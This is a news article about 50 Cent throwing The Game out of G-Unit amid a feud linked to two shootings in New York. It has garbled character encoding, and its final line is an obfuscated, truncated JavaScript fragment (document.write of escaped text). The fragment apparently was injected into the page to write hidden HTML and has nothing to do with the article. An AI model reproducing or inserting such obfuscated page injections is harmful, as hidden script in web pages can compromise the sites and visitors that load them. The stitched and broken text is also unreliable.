50 Cent dumps The Game

Rap heavyweight 50 Cent has thrown his protégé The Game out of his G-Unit crew following an escalating feud that has already seen two shootings this week.

In the first incident, a man was shot in the thigh outside a New York radio station on Monday (February 28) while 50 Cent was on air. More shots were fired at his management office several hours later.

The fallout came after two separate radio interviews by the stars, according to MTV. In the first, on station Hot 97 last weekend, The Game expressed solidarity with Nas and Jadakiss, two of 50 Cent's most bitter rivals. On Monday, an angry 50 Cent told the station The Game was out "after being so disrespectful".

It has been reported that an angry Game (real name Jayceon Taylor) headed to the station with a group of men and tried to enter the building. They were refused entry, an altercation happened while 50 Cent was still on air and a man, Kevin Reed â€" thought to be one of The Game's entourage â€" was shot. He was rushed to hospital but his current condition is unknown.

Later that evening, shots were also fired outside the office of Violator Management â€" the company that looks after 50 Cent, Busta Rhymes and Missy Elliott â€" but no one was injured. There are no suspects as of yet in either shooting.

The association between the rappers was an uneasy one from the beginning. The Game had been unsuccessfully working on his debut album for two years on Dr Dre's Aftermath imprint when Jimmy Iovine, the boss of his parent label Interscope, suggested he tie him to 50 Cent's G-Unit fold and have some of the rapper's stardust rub off on the newcomer. It worked. The Game's album 'Documentary' went straight to the top of the Billboard album charts in the US on release, establishing him as the brightest new name in rap.

But 50 Cent felt he had got there riding on his name. 50 was also annoyed that Dr Dre was spending so much time developing The Game that his own second album 'The Massacre', set for release in the UK on March 7, had suffered because of lack of input from the hip-hop titan.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;